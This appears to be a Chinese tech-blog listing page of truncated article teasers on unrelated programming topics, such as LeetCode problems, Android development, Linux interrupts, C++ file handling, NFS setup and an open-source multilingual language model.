
LeetCode、1137. 第 N 个泰波那契数【简单,动态规划】

文章目录 前言LeetCode、1137. 第 N 个泰波那契数【简单&#xff0c;动态规划】题目与分类思路一维动态规划 资料获取 前言 博主介绍&#xff1a;✌目前全网粉丝2W&#xff0c;csdn博客专家、Java领域优质创作者&#xff0c;博客之星、阿里云平台优质作者、专注于Java后端技术…...

Python爬虫urllib详解

前言 学习爬虫&#xff0c;最初的操作便是模拟浏览器向服务器发出请求&#xff0c;那么我们需要从哪个地方做起呢&#xff1f;请求需要我们自己来构造吗&#xff1f;需要关心请求这个数据结构的实现吗&#xff1f;需要了解 HTTP、TCP、IP 层的网络传输通信吗&#xff1f;需要知…...

Linux嵌入式开发+驱动开发-中断

swi汇编指令可以产生软中断&#xff0c;以下是硬件中断的产生到执行完毕的全过程&#xff1a; 在自己设计的芯片“CPU响应中断”程序的第四个步骤可以转向“中断向量控制器”&#xff0c;中断向量控制器中存储中断元服务地址即处理中断处理程序的地址&#xff0c;而不用使用0X1…...

android tv开发-1,leanback

目录 1.leanback库的一些事 2.leanback在使用时遇到的一些麻烦 视频卡片 页面空白 关于左侧菜单的一些设置 数据加载异常与加载中的一些操作 如果页面无数据,如何显示错误的页面....

chisel RegInit/UInt/U

val reg RegInit(0.U(8.W)) //ok val reg RegInit(0.UInt(8.W)) //errU 使用在数字 . 后边50.U UInt 使用在IO(new Bundle val a Input(UInt(8.W)) 或者 def counter(max:UInt, a1:UInt) package emptyimport chisel3._ import chisel3.util._class MyCounter extends …...

华为OD机试真题-田忌赛马-2024年OD统一考试(C卷)

题目: 给定两个只包含数字的数组a,b,调整数组 a 里面数字的顺序,使得尽可能多的 a[i] >b[i]。数组 a和 b 中的数字各不相同。 输出所有可以达到最优结果的 a 数组的数量 输入描述: 输入的第一行是数组 a 中的数字,其中只包含数字,每两个数字之间相隔一个空格,a 数组…...

QMUI_Android:提升Android开发效率与质量的利器

QMUI_Android&#xff1a;提升Android开发效率与质量的利器 在Android应用开发过程中&#xff0c;开发者常常面临着重复编写基础组件和处理兼容性问题的挑战&#xff0c;这不仅耗费时间&#xff0c;也降低了开发效率。为了解决这一问题&#xff0c;Tencent推出了QMUI_Android框…...

如何部署Linux AMH服务器管理面板并结合内网穿透远程访问

文章目录 1. Linux 安装AMH 面板2. 本地访问AMH 面板3. Linux安装Cpolar4. 配置AMH面板公网地址5. 远程访问AMH面板6. 固定AMH面板公网地址 AMH 是一款基于 Linux 系统的服务器管理面板&#xff0c;它提供了一系列的功能&#xff0c;包括网站管理、FTP 管理、数据库管理、DNS 管…...

C++文件操作(2)

文件操作&#xff08;2&#xff09; 1.二进制模式读取文本文件2.使用二进制读写其他类型内容3.fstream类4.文件的随机存取文件指针的获取文件指针的移动 1.二进制模式读取文本文件 用二进制方式打开文本存储的文件时&#xff0c;也可以读取其中的内容&#xff0c;因为文本文件…...

Bootstrap5 图片轮播

Bootstrap5 轮播样式表使用的是CDN资源 <title>亚丁号</title><!-- 自定义样式表 --><link href"static/front/css/front.css" rel"stylesheet" /><!-- 新 Bootstrap5 核心 CSS 文件 --><link rel"stylesheet"…...

WINDOWS搭建NFS服务器

下载并安装 Networking Software for Windows 启动配置 找到安装目录&#xff08;如C:\Program Files\nfsd&#xff09;&#xff0c;双击nfsctl.exe&#xff0c;菜单Edit->Preferences 启动后&#xff1a; 配置Export Exports->Edit exports file 其他的几句我都删除…...

LeetCode、216. 组合总和 III【中等,组合型枚举】

文章目录 前言LeetCode、216. 组合总和 III【中等&#xff0c;组合型枚举】题目类型与分类思路 资料获取 前言 博主介绍&#xff1a;✌目前全网粉丝2W&#xff0c;csdn博客专家、Java领域优质创作者&#xff0c;博客之星、阿里云平台优质作者、专注于Java后端技术领域。 涵盖…...

支持534种语言,开源大语言模型MaLA-500

无论是开源的LLaMA 2还是闭源的GPT系列模型&#xff0c;功能虽然很强大&#xff0c;但对语言的支持和扩展比较差&#xff0c;例如&#xff0c;二者都是以英语为主的大模型。 为了提升大模型语言的多元化&#xff0c;慕尼黑大学、赫尔辛基大学等研究人员联合开源了&#xff0c;…...

面试 JavaScript 框架八股文十问十答第一期

面试 JavaScript 框架八股文十问十答第一期 作者&#xff1a;程序员小白条&#xff0c;个人博客 相信看了本文后&#xff0c;对你的面试是有一定帮助的&#xff01;关注专栏后就能收到持续更新&#xff01; ⭐点赞⭐收藏⭐不迷路&#xff01;⭐ 1&#xff09;JavaScript有哪些…...

【发票识别】新增针对图片发票的识别(升级中)

说明 为了完善发票识别的功能&#xff0c;目前发票识别支持发票图片格式的识别&#xff0c;增加可用性。 体验 体验地址&#xff1a;https://invoice.behappyto.cn/invoice-service/ 体验地址上面有示例的发票&#xff0c;可以下载上传识别或者复制url地址进行识别。 技术栈…...

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统&#xff0c;智慧工地全套源码&#xff0c;java版智慧工地源码&#xff0c;支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求&#xff0c;提供“平台网络终端”的整体解决方案&#xff0c;提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

基础测试工具使用经验

背景 vtune&#xff0c;perf, nsight system等基础测试工具&#xff0c;都是用过的&#xff0c;但是没有记录&#xff0c;都逐渐忘了。所以写这篇博客总结记录一下&#xff0c;只要以后发现新的用法&#xff0c;就记得来编辑补充一下 perf 比较基础的用法&#xff1a; 先改这…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!

5月28日&#xff0c;中天合创屋面分布式光伏发电项目顺利并网发电&#xff0c;该项目位于内蒙古自治区鄂尔多斯市乌审旗&#xff0c;项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站&#xff0c;总装机容量为9.96MWp。 项目投运后&#xff0c;每年可节约标煤3670…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

佰力博科技与您探讨热释电测量的几种方法

热释电的测量主要涉及热释电系数的测定&#xff0c;这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中&#xff0c;积分电荷法最为常用&#xff0c;其原理是通过测量在电容器上积累的热释电电荷&#xff0c;从而确定热释电系数…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP

编辑-虚拟网络编辑器-更改设置 选择桥接模式&#xff0c;然后找到相应的网卡&#xff08;可以查看自己本机的网络连接&#xff09; windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置&#xff0c;选择刚才配置的桥接模式 静态ip设置&#xff1a; 我用的ubuntu24桌…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...